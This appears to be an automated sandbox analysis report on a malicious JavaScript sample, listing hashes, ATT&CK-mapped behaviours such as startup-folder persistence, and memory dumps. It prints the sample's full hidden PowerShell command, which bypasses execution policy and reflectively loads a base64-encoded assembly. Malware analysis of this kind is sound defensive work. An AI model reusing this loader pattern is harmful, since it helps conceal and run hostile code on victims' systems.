257ce9032c78e2a1a7ded2d12d735f894c74dcd4ed9b96f4a75f0b675f1cabaa

Analysis

max time kernel
179s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 04:48

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General

Target
257ce9032c78e2a1a7ded2d12d735f894c74dcd4ed9b96f4a75f0b675f1cabaa.js
Size 26.3MB
Sample260808-fe95cszhpd
SHA256 257ce9032c78e2a1a7ded2d12d735f894c74dcd4ed9b96f4a75f0b675f1cabaa
MD5 ecc6ad6e46c72dd7fa95d9382adb8b6f
SHA1 a2578a7d120d90121b08691b91884a13cdd38372
SHA512 b9f4bcfc23d50720c305ea99fab4e6f38bf352b242625c928934e91cc579df7949fabf4661143d5527c2891f9b9cd730b98e61bbeb4787609bc63bf284a99dc5
SSDEEP 192:4f4IoFKGiZ6RoD4wKa86OV+2s0qQ6qixVdZtI0Y4GaA9ZZZlH72RLINZL8Tfd6Ns:fgUsB/JmZQ6DO
TLSH
T182575CF9318CF17D03B78800BE19E8D845E697AB291B11D0ABD35D13A0399F56E88FB5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence privilege_escalation

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1928	3684	powershell.exe	89

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1928	powershell.exe
3	1928	powershell.exe
3	1928	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1928	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\257ce9032c78e2a1a7ded2d12d735f894c74dcd4ed9b96f4a75f0b675f1cabaa.js	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1928	powershell.exe
1928	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1928	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\257ce9032c78e2a1a7ded2d12d735f894c74dcd4ed9b96f4a75f0b675f1cabaa.js
1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:4380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('qEd9eEOpOrMrTmUV+NLlOMhbt5HEKeIq1WF+r8DNZWH3Xp+7rG6Y0TSYFRSOKX0aNjFzzfWqx09H6185/Z6UHg==','WBaPDKI0/TtRh5T1fb9JkYe4R2dgk82JB0fjhxwxAa4=','VQucvcColSlQLb/f4urGQor/KGVBYo4QtmKoeN5CnMLG4GWWsN/tAmP0AcV9Z+xi','ISi9IEm0XCx06VOhljfOJBfIFRc0GuJE1kShyzCOqII=','+iDC6aRJuTwxUO32uEhAVH/R2bK6DqvuTqV3vmiY8Eo=','','FSsxGHK/BQUR/Q2w9z0jojz6HvDWQfItUMgzl9n5xdM=','sLNB8KiIfqanL1HwSOYyyRz+/Gy8Mzg5R26y+rg4vOE=','','kMMeqUxwQe2pDAJWz4sQvc1K9LMFs96UtUp4euLGVxawsKOYhUYBvT4+oDV26242','UuLvNQbbJD8bAYLlH4FlBTjXg2e6C9N7CJIf/zquliY=','spMQ7Vlz0zwJT0tTFMe210aIAEr/2WfF7KMWU895AnU=','TDpK2EIJ9WlY4/SvsqlOIsnUGyvG9o0NgpkmjZd8sCI=','vJCRgePhPRhEP+5/IrAEXs5evQJ7bMQJu+S+QF3k+8c=','g9J9H+fpGX7Cl5NBWXkjoQifiM28Z3YVoR7vsqCRdRo=','GLrwwpuNunzgFuTXdN+yCbiIehekM5Jojm4Wpt7Kkfs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1928-0-0x00007FFC5F61F000-0x00007FFC5F620000-memory.dmp

Download

memory/1928-4-0x0000024DCE810000-0x0000024DCE832000-memory.dmp

Download

memory/1928-3-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/1928-5-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/1928-6-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/1928-7-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/1928-8-0x0000024DCC430000-0x0000024DCC4C2000-memory.dmp

Download

memory/1928-9-0x0000024DCC4C0000-0x0000024DCC4CA000-memory.dmp

Download

memory/1928-10-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/1928-11-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/1928-12-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/1928-13-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/1928-15-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download